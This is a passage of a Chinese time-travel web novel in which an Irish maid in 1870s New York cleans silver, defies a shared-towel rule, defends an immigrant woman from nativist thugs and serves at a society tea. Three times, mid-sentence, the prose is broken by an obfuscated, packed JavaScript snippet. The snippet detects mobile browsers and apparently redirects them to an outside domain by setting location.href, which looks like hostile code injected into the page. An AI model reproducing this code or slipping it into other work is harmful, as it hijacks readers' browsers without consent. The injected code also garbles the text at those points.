“快收好！”汤姆摆摆手，匆匆转身回了厨房。 有了材料，但还缺合适的工具。那些厚重的氧化层，尤其是雕刻花纹里的陈年老垢，需要更细腻的工具才能清理干净。她需要多找一些旧布条或者…… 她决定去公共杂物间碰碰运气，看看有没有废弃的柔软布料。就在她轻轻推开杂物间吱呀作响的门时，却意外地看到里面站着一个人。 那是一位年轻的黑人女性，穿着整洁的深色连衣裙，外面罩着一条干净的浅色围裙，式样比女仆的更为简洁利落。她正踮着脚，从高处的架子上取下一沓草稿纸。听到开门声，她转过头来，圆圆脸蛋上眼神清澈，可爱中带着一种书卷气的沉静。 安妮认出，这是米芙·弗里曼，宅邸里的黑人女秘书，负责处理文书和协助管理账目，地位有些特殊，介于仆役和管理层之间。 “抱歉，打扰您了，弗里曼小姐。”安妮立刻道歉，下意识地用了敬称。 米芙看清是她，微微摇了摇头，声音平和，带着一种受过良好教育的清晰口音：“没关系。你需要找什么吗？” 安妮犹豫了一下，觉得或许可以询问一下。这位弗里曼小姐看起来和那些咋咋呼呼的女仆不一样。“梅布尔太太派我清理宴会的银器，”她尽量让自己的语气听起来只是困惑而非抱怨，“氧化得很厉害，库房的擦银膏和软布恐怕很难彻底清理干净，尤其是花纹缝隙里的，我想找找看有没有更柔软些的布条……” 米芙静静地听着，那双聪慧的眼睛似乎能看透很多东西。她沉默了几秒，然后轻轻开口，声音清脆，给出了极其关键的建议：“致密的旧丝袜，如果你能找到的话。它们的纤维非常细腻，不会留下划痕，而且能很好地贴合缝隙，带走污垢。比一般的软布效果好很多。” 旧丝袜！对！尼龙袜要等到20世纪，但这个时代已经有真丝袜！它们柔软、有弹性、纤维细腻，正是完美的擦拭工具！ “谢谢您！弗里曼小姐！这真是个绝妙的主意！”安妮由衷地感谢道。 米芙只是微笑颔首，没有再说什么。拿着草稿纸转身离开前还点了点安妮，示意某个方位。 安妮立刻行动起来。她很快在米芙指示的方向，一处存放废弃杂物的角落里找到几双破了洞、原本打算丢弃的旧丝袜。如获至宝。 看见袜子上的破洞，心中还有一点点隐隐地快意。 回到后廊，她立刻打来温水，将汤姆给的白醋倒入一些，又加入一小勺苏打粉，看着它们在水中发出嘶嘶声。她将柔软的旧丝袜剪开，浸入温热的混合液中，然后拿起一只黑色的烛台。 奇迹发生了。蘸着混合液的丝袜轻轻 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16417888|184715||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 擦拭过的地方，那层顽固的黑色氧化层仿佛被溶解了一般，迅速褪去，露出底下闪亮夺目的银白色光泽！甚至不需要用力摩擦！对于精细花纹里的污垢，她只需用丝袜的一角轻轻勾勒，那些难缠的黑垢就被轻易带了出来。 效率倍增！而且银器表面光滑如初，丝毫没有划伤的痕迹！ 安妮精神大振，也顾不上寒冷了，埋头苦干起来。一口箱子的银器很快变得光亮照人。她重复着调配溶液、丝袜擦拭、清水漂净、用布擦干的步骤。 下午，当施耐德管家按照惯例进行巡视，走到后廊时，他被眼前的情景微微怔住了。想象中进展缓慢、抱怨连天的场景并未出现。那个瘦小的爱尔兰女仆正挽着袖子，手脚麻利地工作着，身边一口箱子的银器已经擦拭完毕，整齐地摆放着，在午后斜阳下闪烁着耀眼的光芒，而另外两口箱子里的银器也明显少了一大半。 更让他惊讶的是，女孩擦拭的速度快得惊人，看起来毫不费力，银器在她手里很快就能恢复光彩。 “安妮，”施耐德管家开口，声音里带着一丝不易察觉的探究，“你的速度很快。是如何做到的？”他注意到她手边那些浸在一种液体里的、看起来像是旧丝袜的东西，以及那个散发着淡淡酸味的小陶瓶。 安妮心里早有准备。 她停下手，站起身，恭敬但并不慌乱地回答：“施耐德先生，我发现库房的擦银膏对付这种厚重的氧化有些吃力，而且很容易留下划痕。我无意中想起以前在……在船上听一位见多识广的水手提过，可以用一点点白醋和苏打粉兑温水来软化污垢，再用非常柔软的丝……布条来擦拭，既能擦得干净，又能保护银器不被划伤。我试了一下，发现确实有效得多，所以就冒昧用了这个方法。这样或许能更快更好地完成梅布尔太太交代的任务，也能更好地维护夫人的银器。” 她的话既解释了方法来源，又强调了目的是为了“更快更好地完成任务”和“维护银器”，完全契合施耐德最看重的效率和结果。 施耐德管家走上前，拿起一只刚刚擦拭完毕、熠熠生辉的银质汤勺，对着光仔细检查。勺面光滑如镜，精美的花纹清晰无比，确实没有丝毫划痕，光洁度甚至超过了平时保养时的状态。 他沉吟了片刻。他是个务实的人，只要结果更好、效率更高，他并不介意方法的来源。 “很好。”他最终说道，语气是肯定的，“这个方法确实高效且能更好地保护银器。我会让梅布尔太太以后都采用这种方法。你做得很好，安妮。” 这是极高的认可！意味着他不仅认可了她的工作成果，更认可了她的价值！ “谢谢您，施耐德先生。”安妮低下头，心中一块大石落地。 当梅布尔太太晚些时候过来检查进度，准备看笑话时，看到的却是三口空空如也的箱子和旁边堆叠得整整齐齐、光亮夺目、几乎能照出人影的全套银器餐具。以及施耐德先生让她今后采用新方法的指令。 她的脸色瞬间变得极其难看，像是生吞了一只苍蝇。自从这个爱尔兰女孩来到，她就没有顺心过！但是施耐德先生的认可像一道无形的屏障，让她无法再发作。她最终冷哼一声，铁青着脸转身走了。 汤姆厨师趁着没人注意，对着安妮悄悄竖了一下大拇指。 露西也在一旁连连夸赞。 而安妮只是微笑听着，安静地收拾好剩下的白醋和苏打粉，将用过的旧丝袜处理好。 她没有得意。 8. 是公用的！ 在布鲁克大宅，有些战争并非为了银器或酵母，而是为了更基本、更日常的东西——比如，一条毛巾。 每日清晨，在完成了最初几个小时的繁重劳作后，仆人们有一小段短暂的时间可以用来稍作整理，洗去手上沾染的灰尘、油污和汗水。 在女仆宿舍走廊尽头的一个小隔间里，甚至称不上盥洗室，放着一个沉重的搪瓷铁盆和一个硕大的陶瓷水罐，旁边挂着一条灰白色的、略显僵硬的亚麻布毛巾。 这条毛巾，是公用的！ 安妮第一次看到露西、玛莎和其他女仆依次使用同一条毛巾擦拭脸颊和双手时，胃里就忍不住一阵翻涌。她看着毛巾从一个人手里传到下一个人手里，颜色逐渐变深，湿度增加，仿佛能看见无数看不见的微生物在上面欢快地繁衍。这场景对她这个来自21世纪、习惯了个人卫生习惯的人而言，冲击力巨大。 即使是在布鲁克家这样的富裕家庭，现代意义上的卫生观念也尚未完全建立。细菌理论虽然已被提出，但远未普及到大众日常实践中。对于下层仆役而言，个人清洁用品往往是稀缺和共享的。共用洗脸盆、毛巾、甚至浴盆是非常普遍的现象。肥皂虽然存在，但多是粗糙的碱性皂，主要用于洗衣和清洁家居，用于个人洁面的温和香皂并非仆人的标配。这种卫生条件极易导致皮肤病、眼疾和其他传染病的传播，但在当时，人们更多将其归结为“污秽”本身或“瘴气”，而非微生物。 这一天早晨，安妮像前几天一样，刻意避开了那条公用的毛巾。 她走到一边，从自己少得可怜的私人物品里拿出了一条洗得发白但干净整洁的棉布手帕——这是她仅有的、能保持个人清洁的东西。这是安妮母亲的遗物，边角磨损，却还干净，她昨晚特意洗过，晾在绳子上，今早才收回来。她将手帕浸湿，仔细地擦拭着脸颊、脖颈和双手，感受着清水的凉意带走疲惫和污渍，然后小心地将手帕拧干，准备收回口袋。 这个小小的举动，却像一枚炮仗，炸响了梅布尔太太眼中那套不容置疑的“规矩”。 “安妮！”一声冷硬的呵斥在她身后响起。 安妮转过身，看见女管家正站在隔间门口，脸色阴沉得像暴风雨前的天空。她的目光狠狠地钉在安妮手中那块湿漉漉的手帕上。 “你手里拿的是什么？”梅布尔太太的声音不高，却带着十分的压力，“我有没有规定过，仆人的个人物品必须简单整洁，不得搞特殊化？这条手帕是怎么回事？为什么你不用公用的毛巾？” 安妮试图解释，尽量让声音保持恭顺：“梅布尔太太，我只是觉得……用自己干净的手帕可能更……更卫生一些。那条公用的毛巾，大家轮流用，似乎不太……” “卫生？”梅布尔太太像是听到了一个极其荒谬可笑的词，她尖刻地打断了她，声音陡然拔高，吸引了周围所有女仆的注意，“什么是卫生？啊？你一个刚从脏兮兮的移民船上下来的爱尔兰丫头，懂得什么是布鲁克家的卫生？这里的规矩就是卫生！统一就是卫生！服从就是卫生！” 她一步步逼近，手指几乎要戳到安妮的鼻尖：“你用自己私藏的东西，是什么意思？是觉得布鲁克家提供的毛巾配不上你高贵的皮肤？还是觉得其他用过这条毛巾的人都脏，就你一个人干净？！你这是在瞧不起谁，是在破坏规矩，是在搞分裂！” “我不是这个意思，太太……”安妮感到一阵无力，她的现代观念在这个时代、这个环境下，显得如此苍白和格格不入。就连平时跟她要好的露西，也透露出一丝不理解。 “我看你就是这个意思！”梅布尔太太厉声道，她猛地伸出手，一把夺过安妮手中那块湿漉漉的手帕，看也不看，就狠狠地扔在地上，甚至用她那双厚重的鞋子在上面碾踩了一下，洁白的棉布瞬间沾染上灰黑的污渍。 “给我记住！”她恶狠狠地瞪着安妮，目光像是要将她剥下一层皮，“在这里，我说什么是干净，什么就是干净！我说用什么，你就用什么！再让我看到你搞这种特殊，就不只是一条手帕了！听懂了吗？” 羞辱和愤怒像火一样烧过安妮的全身，但她死死咬住了嘴唇，强迫自己低下头，避开那咄咄逼人的视线。 她知道，任何反驳都只会招致更严厉的惩罚。“听懂了，太太。” “现在，拿起那条毛巾，把你那张‘干净’的脸再擦一遍！”梅布尔太太命令道。 安妮僵硬地转过身，在露西同情和玛莎幸灾乐祸的目光中，拿起那条潮湿，带着陌生人气息的公用毛巾，机械地擦了擦脸。粗糙的布料摩擦着皮肤，带来的不是清洁感，而是一种难以言喻的屈辱和——膈应。 梅布尔太太满意地看着这一幕，仿佛维护了一项伟大的原则，这才冷哼一声，转身离开。 安妮赶紧捡回地上的棉布手帕，清理干净，挂到自己的床头。 一整个上午，安妮都感觉脸上那种不舒服的黏腻感挥之不去。她心情低落，工作时也显得有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16417889|184715||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 些心不在焉。午餐前后，厨房里忙碌异常，她抱着一大摞刚洗好的沉重餐盘往储藏柜走去，脚下不小心一滑，虽然及时稳住了身体没有摔倒，但最上面的几个盘子却滑落下来，在地上摔得粉碎。 响声引来了梅布尔太太更严厉的斥骂，骂她毛手毛脚，浪费东西。安妮默默地蹲下身收拾碎片，手指却不小心被锋利的瓷片划了一道口子，血珠立刻渗了出来。她忍着痛，没有出声。 这一切，都被在一旁忙碌的汤姆厨师看在了眼里。他没有说什么，只是在安妮终于收拾完碎片，稍微喘口气的时候，默默地走了过来。 他手里拿着几块干净柔软的碎棉布，还有一小瓢清水。 “把手伸出来。”汤姆的声音依旧粗声粗气，但语气里却没有了平日的火爆。 安妮愣了一下，迟疑地伸出手，露出那道细小的伤口。 汤姆没多说，用清水帮她冲了冲伤口，然后熟练地用干净布条替她包扎了一下。“拿去，”他把剩下的布塞进安妮手里，声音压得更低了，“自己藏着，擦擦脸什么的，别让那只秃鹫看见。”他朝梅布尔太太可能出现的方向撇了撇嘴。 这小小的善意，在这冰冷压抑的环境中，显得格外珍贵。虽然她心里狂喊，不要啊，伤口没消毒可能会感染，不如不包。安妮鼻尖还是微微一酸：“谢谢您，汤姆先生。” “啧，有什么好谢的。”汤姆似乎有些不自在，摆摆手，“赶紧回去干活，小心点别再砸东西了。”他说完，便匆匆走回了他的灶台前，仿佛什么都没发生过。 傍晚，结束了一天的工作，安妮再次站到了那个放着公用毛巾和水盆的隔间前。其他女仆依旧习以为常地轮流使用着那条毛巾。露西看到她，投来一个无奈的眼神。 安妮沉默地看着那条毛巾，它比早晨看起来更脏了一些。 最终，她还是没有再去碰那条公用毛巾。她默默地用自己的方式，尽量用清水多冲洗一会儿，然后悄悄用袖口的内衬擦干了脸。 她知道，梅布尔太太维护的并非卫生，而是一种绝对的、不容挑战的秩序和权威。而她所坚持的，是一种来自另一个时代、关于个人健康与尊严的基本认知。 这是一场无声的、关于“干净”的定义权的战争。 她暂时失败了，但她并没有真正屈服。 夜色渐深，她脸上的皮肤似乎仍在隐隐发痒。 保持内心的那一点“卫生”，或许比擦亮所有银器都要艰难。 9. 纽约初行 安妮站在狭窄的后巷里，深深吸了一口外面清冽—的空气，竟感到一丝陌生的自由。 虽然这自由空气，或许还夹杂着马粪和煤灰味。 这是她来到纽约后，第一次独自一人走出布鲁克家的大门。梅布尔太太终于派给她一项需要外出的任务：去几个街区外的杂货店，采购一批夫人指定的、厨房急用的高级香草精和橄榄油。清单被仔细地写在了一张小纸片上，连同采购的钱币，被她紧紧攥在手心。 这短暂的“放风”机会，对她而言珍贵得像偷来的时光。她拉了拉头上那顶标志性的女仆软帽，没错，她终于戴上了，确保它能很好地遮住自己的面容，然后快步融入了门外喧嚣的人流。 眼前的景象就如同一幅巨大的画卷，在她面前轰然展开，让她瞬间屏住了呼吸。 这就是1870年代的纽约。这就是“镀金时代”。 第五大道的鹅卵石路铺得平整如镜，连雨后残留的水洼都透着清亮，倒映着豪宅的尖顶与雕花。每隔五步就立着一盏煤气灯，玻璃罩擦得能映出人影，灯柱上缠绕着新鲜的常春藤，叶片上还挂着晨露，是园丁今早刚打理过的。 街道的一侧，矗立着如同宫殿般华丽的宅邸，大理石立面擦得锃亮，反射着天光。穿着体面的绅士和裙摆蓬松的女士们，从精致的马车上款款而下，步入其中。空气中隐约飘来钢琴声和花香。 街对面，据说是整个纽约最有权力的那批人之一——阿斯托家的宅邸，穿藏青色礼服的车夫正给黑色马车换银制马具，马鬃梳得油亮，马头上挂着深红色丝绒缰绳，连马蹄铁都擦得泛光。 新兴的工业巨子、铁路大亨和金融家纷纷在此斥巨资兴建豪华宅邸，这些建筑风格宏伟夸张，极力展示其主人的财富。 这就是第五大道！ 宅邸间的店铺更让她挪不开眼。珠宝店的玻璃柜里，钻石项链在阳光下折射出细碎的光，标签上“五百美元”的数字刺得眼睛发疼——抵得上她两年的月钱； 裁缝店橱窗里挂着件淡粉色蕾丝长裙，裙撑像蓬松的云朵，店员正用细毛刷轻轻拂去上面的浮尘，和同事念叨着“这是罗斯柴尔德小姐订的，明天要穿去大都会歌剧院”； 甚至连街角的面包店，橱窗里都摆着撒满糖霜的多层蛋糕，玻璃上贴着“一美元一块”的字条，够买一百磅土豆，够她和露西吃2个月。空气里飘着淡淡的香水味和烤黄油的甜香，连路过的绅士都穿着挺括的西装，袖口别着贝壳袖扣，向女士点头致意时，领结都没歪过半分。 可这优雅只延续到第五大道与小巷的交界口。 刚拐进通往杂货铺的窄巷，画风突然转变——空气中弥漫着劣质煤烟、腐烂垃圾和露天厕所混合而成的刺鼻气味，比轮船底舱的霉味更鲜活，也更呛人。脚下的鹅卵石路瞬间变得坑坑洼洼，前两天下过雨的凹处积着浑浊的泥水，泛着灰黑色泡沫，偶尔有运货马车驶过，蹄子踏在石板上发出“哒哒”响，溅起的泥点直往聂安裤腿上扑。 狭窄、泥泞的小巷像丑陋的伤疤一样深入街区内部。低矮的砖房拥挤在一起，墙壁斑驳，许多窗户用破布或木板堵着。衣衫褴褛、面黄肌瘦的孩子们在污水横流的街边奔跑嬉闹，他们的眼睛大而空洞。女人们围着破旧的头巾，在门口搓洗衣物，脸上写满了疲惫和麻木。 奢华与贫困，富足与赤贫，文明与肮脏。 它们之间没有过渡，没有缓冲，就像有人用刀粗暴地将纽约劈成了两半，一半镀着耀眼的金色，一半浸染着沉沉的黑色。安妮感到一阵眩晕，这种视觉和心理上的巨大冲击，远比她在历史书中读到的任何描述都更加震撼和令人窒息。 她作为一名研究者的本能开始苏醒，冷静地分析着这一切：急速的工业化吸引了大量廉价劳动力，资本疯狂积聚于少数人手中，市政管理的缺失，社会保障体系的空白……所有她在论文中阐述过的论点，此刻都化为了眼前这幅活生生的、令人心碎的图景。 她攥紧了手里那一点点采购用的钱币，感觉自己像是一个偶然闯入了两个平行世界夹缝中的观察者。 忽然，一阵风吹过，将地上的一张被人丢弃的报纸吹到了她的脚边。她下意识地低头看去，粗糙的纸张上，一行粗黑的标题猛地抓住了她的视线： 【范里安铁路线再发事故！货物倾覆，数人受伤，疑为车钩断裂所致！】 范里安？安妮的心猛地一跳。这不是过几日要来拜访玛蒂尔达夫人的那位铁路大亨的姓氏吗？她们最近都在围着这场宴会的筹备打转，可以说脚不沾地。 她迅速捡起报纸，目光急切地扫过内容。报道措辞含糊，试图淡化事件，但字里行间透露出的事故频发和技术缺陷的隐患，却逃不过她的眼睛。 这时候的铁路，连接车厢普遍使用一种 “链接与插销”结合的耦合器。工人需要手动在两节车厢之间放置一个铁链环，然后插入一个大铁销来固定。这个过程极其危险，工人极易被移动的车厢挤伤甚至失去手指、手臂，连接也不可靠，容易在行驶中断裂导致事故。 这份废报纸像一把钥匙，瞬间打开了她记忆的宝库。 “詹内车钩……” 她几乎是无声地念出了这个名词。在她的时代，这是一个铁路史上里程碑式的发明。 “詹内车钩”由伊莱·H·詹内在1873年发明，专利于1874年获得，它通过凸锥和凹杯的设计，能在车厢碰撞时自动锁紧，大大提升了安全性。但在它被发明的当下几年，它可能尚未被广泛采用，或者某些寻求暴利、忽视技术更新的资本家，根本不愿投入成本更换老旧的手动插销式车钩。 显然，范里安家的铁路还没有用上新技术！ 她意识到，范里安家族光鲜的财富背后，可能隐藏着基于血汗和技术停滞的真相。而这个真相，与布鲁克家紧密相连。 她正沉浸在思考中，前方一阵骚动打断了她的思绪。几个穿着统一制服、膀大腰圆的男人，正围着一个挎着菜篮、看起来是爱尔兰移民的中年妇女。他们的臂章上印着“美国保护协会”的字样。 “嘿！我说你呢！”其中一个为首的男人粗暴地推了那个妇女一下，语气充满鄙夷，“听不懂英语吗？滚回你的破窝里去！这里不是你们这些爱尔兰乞丐该来的地方！你们抢走了真正美国人的工作，带来了肮脏和疾病！” 那妇女吓得脸色苍白，瑟瑟发抖，用带着浓重口音的英语结结巴巴地解释：“先、先生……我只是、只是想买点便宜的面粉……我的孩子……” “谁管你的小杂种！”另一个男人恶狠狠地咒骂着，甚至伸手要去打翻她的篮子。 周围有些人冷漠地走过，有些人则驻足旁观，脸上带着麻木或甚至赞同的表情。 安妮的心脏被愤怒和同情攥紧了。 她知道“美国保护协会”。这是19世纪后期美国一个著名的排外主义和反天主教组织，尤其敌视来自爱尔兰和南欧、东欧的天主教移民。他们宣扬这些移民道德低下、无法同化、 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16417890|184715||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 窃取工作、并对美国的“清教徒”传统构成威胁。他们会组织示威、骚扰移民社区、并向政府施压要求限制移民。这种赤裸裸的歧视和欺凌在当前的社会环境下并不少见。 她看到那个妇女眼中绝望的泪水，看到了她与自己这具身体的原主相似的命运。她几乎是下意识地摸向自己的口袋——里面是一些女宾拜访玛蒂尔达夫人时顺手打赏的硬币，原本是她计划用来买一小块属于自己的肥皂的。 没有片刻犹豫，她快步上前，挤进人群，挡在了那个妇女身前。直接面向为首的那个，用尽可能清晰、冷静，甚至带着一丝模仿布鲁克家那种居高临下腔调的英语说道： “先生们，为难一位只是想喂养孩子的母亲，并不能彰显你们所谓的‘美国精神’。”她的声音不大，却异常清晰，让那几个男人愣了一下，似乎没料到这个戴着女仆帽、看似卑微的丫头敢出来说话，而且口音如此“高雅”。 趁他们愣神的功夫，安妮迅速将自己攒下的所有硬币塞进那个爱尔兰妇女颤抖的手里，低声快速说：“快走。” 那妇女难以置信地看着手里的钱，又看看安妮，眼泪流得更凶了，她哽咽着说了一句“愿主保佑你，孩子”，然后抓紧篮子和钱，低着头匆匆跑开了。 那几个“美国保护协会”的男人反应过来，似乎觉得被一个女仆羞辱了，为首的那个恼羞成怒地转向安妮：“你算什么东西？敢管闲事？你是不是也是……” 安妮没有等他骂完，她微微抬起下巴，尽管心跳如鼓，却努力让自己看起来镇定甚至带着点不屑：“我是布鲁克家的雇员。如果你们对布鲁克家的人有什么指教，可以去大宅找施耐德管家理论。”她亮出了布鲁克家的名头，这是一种微弱的保护伞。 听到“布鲁克家”的名字，那几个男人的气焰果然收敛了一些。他们狐疑地打量着安妮，似乎权衡着得罪一个纽约老钱的风险。最终，他们骂骂咧咧地瞪了她一眼，悻悻地走开了。 安妮松了一口气，后背惊出一层冷汗。 她知道自己冒险了，但她不后悔。 她快步走向目的地杂货店，完成了采购任务。在付钱时，那位看起来比较和善的店主状似无意地向她打听：“丫头，听说范里安家的火车又出事故了……” “先生，我不了解。” 这店主显然经常接触布鲁克家派来紧急采购的仆佣。安妮虽然生活在大宅之中，但一直给自己的要求就是，尽量不多打听主人家的私事，不参与仆从间的是非，相比之下，或许还不如对方知道更多布鲁克家的商业网络和底细。她回答不了解，一方面是不想外人觉得自己是个不可靠的人，另一方面也确实不了解。 “他们和布鲁克家往来密切！你会不知道？”店主一边给她打包香草精，一边随口答说：“范里安先生铁路上的好多订单，听说都是布鲁克夫人帮忙牵线介绍的大家族生意，赚得可不少哩！这纽约城里，有钱人总是抱团的嘛……” 安妮依旧不搭话。眼看从安妮这里讨不到什么八卦，店主也就不再往下说了。 但这个消息像最后一块拼图，咔嚓一声嵌入了安妮的脑海：布鲁克与范里安，是利益交织的共同体。 此时的她，还没意识到自己的拼图因为信息的缺失，拼对了结果，拼错了过程。而这信息就在她眼皮底下。 回布鲁克家的路，第五大道的繁华依旧刺眼，贫民窟的苦难依旧无声。 她加快脚步，走向那座宏伟而压抑的布鲁克大宅。 10. 贵妇们 午后四点，布鲁克公馆大客厅。 几位衣着华丽的夫人正围坐在精致的雕花小圆桌旁，进行着午后例行的茶话会。 她们的动作优雅得像是一幅被精心编排过的画。她们交谈时，嘴角含着得体的微笑，但眼神偶尔的交汇却像擦得锃亮的刀叉，锋利、明亮，且带着不易察觉的衡量。 空气里弥漫着复杂的香气——大吉岭红茶的醇厚、刚出炉的司康饼的热气、覆盆子果酱的微酸，还有一丝若有若无、来自夫人们腕间与手帕上的高级香水味。 银质三层点心架上摆得满满当当：最下层是切得整整齐齐、去掉硬皮的手指三明治，中层是松软的司康饼配着凝脂奶油和小罐果酱，最上层则是精致得让人舍不得下口的迷你蛋糕和水果塔。 薄如蛋壳的瓷器、滤器、糖罐、奶盅……一切都在叙述着妇人门的奢侈与安逸。 安妮垂手侍立在客厅外的走廊阴影里，像一尊安静的雕像。她能清晰地听到里面传来的每一句交谈，每一个杯碟轻碰的脆响。她的任务是和其他女仆一起随时等候召唤，添茶或是应急。 玛蒂尔达端坐主位，背脊挺得笔直，穿着一身红黑相间的丝绸长裙，巨大的裙撑将裙摆夸张地撑开，层层叠叠的蕾丝和缎带几乎要流淌到地毯上。她的腰被紧束的胸衣勒得很细，这让她每一次呼吸都显得格外轻缓而刻意。 坐在她对面的，是一位同样装扮奢华、气质却更为锐利的夫人。范德比尔特夫人——纽约社交圈新贵，她的丈夫凭借铁路和金融一夜暴富。她正用戴着丝绸手套的手指，慢条斯理地搅拌着杯中的红茶，手腕上红宝石钻石手链一颤一颤。 “所以说，亲爱的玛蒂尔达，”范德比尔特夫人开口，声音带着一种刻意打磨过的腔调，“阿斯特夫人已经把她的舞会定在下周五了，依旧是老一套，据说请了支奥地利乐队，真是……充满怀旧色彩。”她轻轻哼了一声，语气里的不屑掩藏得并不高明。 玛蒂尔达用银质小夹子夹起一块方糖，放入杯中时，几乎没有发出一丝碰撞的声响。动作优雅得像是经过测量：“卡罗琳向来注重传统。她的舞会永远是纽约社交季的开场和标杆，这本身就是一种分量。”她微微颔首，像是在肯定一件与己无关的事情。 几位旁听的夫人，附和道：“是啊，是啊。” “传统固然重要，但时代总是在变的，不是吗？”范德比尔特夫人笑道，目光扫过客厅里上了年龄的陈设，“我家的舞会定在第二周。别的不说，单是那些从巴黎运来的鲜花和威尼斯定制的玻璃器皿，就花了我先生不少心思。总得让朋友们看到些不一样的东西。” 又听到其他夫人，附和道：“是啊，是啊。” 安妮注意到，玛蒂尔达夫人握着杯柄的手指微微收紧了一瞬。 “舞会终究是人的聚会，范德比尔特夫人。”玛蒂尔达的声音依旧平稳，“菜肴的精美、装饰的别致固然重要，但与会者的素养和谈吐，才是真正的底蕴。”她轻轻放下茶杯，发出一声微不可闻的脆响，“我们布鲁克家的舞会安排在第三场，足够了。朋友们来，是享受一段舒适的时光，而非仅仅观看一场奢侈的展览。” 两位夫人的目光在空中短暂交锋，带着礼貌的微笑，却寸土不让。 安妮的目光被坐在玛蒂尔达下首的那位年轻小姐吸引。 埃莉诺·布鲁克小姐，玛蒂尔达的侄女，刚从南方来纽约投奔姑妈不久。这是安妮到纽约后见到的最漂亮的少女了，头发的金色像油画里才会有的颜色。她穿着一身浅蓝色的缎面长裙，款式与其他两位夫人相似，巨大的裙撑让她看起来像一朵被过分支撑的花。纤细的腰肢同样被束腰勒得紧紧的，脸色带着一种气血供给不足而造成的苍白。 她很少说话，只是偶尔在姑妈目光扫过来时，低声应答一句“是的，姑妈”，大部分时间都微微低着头，手指无意识地绞着膝盖上的手帕。 安妮看着她那副仿佛连呼吸都困难的模样，再看看自己身上这套虽然粗糙僵硬但至少活动相对自如的女仆制服，一种荒谬的对比满足感油然而生。 此时的纽约，或者说欧美上流社会女性的服饰以“S型”曲线为美，极度强调细腰和丰臀。 其核心是束腰——一种用鲸须、金属条或皮革撑紧的紧身内衣，通过强力勒紧腰部来塑造夸张的纤细曲线，长期佩戴会导致内脏移位、呼吸困难、肋骨变形等多种健康问题，被称为“美丽的刑具”。其次是裙撑——初期多为钟形的鸟笼式裙撑，用钢圈或鲸须制成圈环，层层叠加悬挂于腰间，将裙子撑得极为庞大，后期逐渐演变为突出臀部的样式。 这种服饰行动极其不便，穿过房门、上下马车都需他人协助，且易燃危险。华服之美，其代价竟是如此巨大的痛苦和不便。这所谓的“体面”，仿佛一层金色的枷锁。 安妮竟为自己不是贵妇人而感到一丝庆幸。 茶会进行到一半，埃莉诺小姐的呼吸似乎变得更加急促，苍白的脸上泛起一丝不自然的红晕。她趁着玛蒂尔达夫人与其他几位夫人谈论某个银行家绯闻的间隙，悄悄地对侍立在门边的安妮招了招手，声音细若蚊蚋：“麻烦你……能陪我去一下化妆间吗？” 安妮立刻点头，无声地跟上。埃莉诺小姐起身的动作有些僵硬，沉重的裙摆险些带倒旁边摆放着瓷器的边几。 走进化妆间，埃莉诺小姐立刻反手关上门，背靠在光滑的门板上，像是耗尽了所有力气。她看着安妮，眼神里充满了窘迫和一丝哀求，声音带着颤音：“拜托……帮我……帮我松开一点背后的束带……我快喘不过气了……就一点点……” 安妮没有丝毫犹豫。她绕到埃莉诺身后，看到她礼服背后复杂的系带。她笨拙但小心地找到那个勒得最紧的结，稍微松开了一点点。她能感觉到埃莉诺整个人瞬间松弛下来，发出一声如释重负的、悠长的叹息。 “谢谢你……”埃莉诺转过身，脸上带着感激和羞怯，“我……我还不习惯穿这么久……” “没关系，小姐。”安妮轻声回答。她能理解这种痛苦。 就在这时，门外传来梅布尔太太略显焦急的声音：“安妮？安妮你在里面吗？快出来，有事找你！” 安妮连忙开门出去。只见梅布尔太太正站在走廊上，她的发型——一个试图模仿范德比尔特夫人的法国女仆，但却过于高耸、僵硬且有些歪斜的发髻——似乎出了点问题，几缕碎发不听话地散落下来，让她看起来有些狼狈和滑稽。 “快！”梅布尔太太语气烦躁，也顾不上责备安妮为何来化妆间，“帮我看看这头发！不知道怎么回事总是松掉！马上要去给夫人们送擦手巾了，这副样子怎么见人！”她显然急昏了头，竟然向一个最低等的女仆求助，或许是因为安妮之前解决银器问题的表现让她潜意识里觉得这丫头有点歪脑筋。 两人移步到走廊拐角。 安妮看着她那个用大量发膏和发针勉强固定、却违背重力常识的高髻，立刻明白了问题所在。过于沉重，基础不牢，而且不适合她的脸型。 “太太，您别急。”安妮冷静地说，脑子里飞快地搜索着现代简单发型的知识，“或许……可以换一种更稳固舒适的发型？比如一个低髻，显得更稳重，也不会容易散开。” “低髻？现在哪来得及弄那些！”梅布尔太太不满道，下意识地摸了摸那摇摇欲坠的发髻，“夫人和范德比尔特夫人都在等着呢！” “很快的。”安妮自信地说。她让梅布尔太太在走廊边一张原先用于放置花瓶的矮几上坐下，迅速拆开她那僵硬的头髻。浓重的发膏气味冲得她脑仁疼。 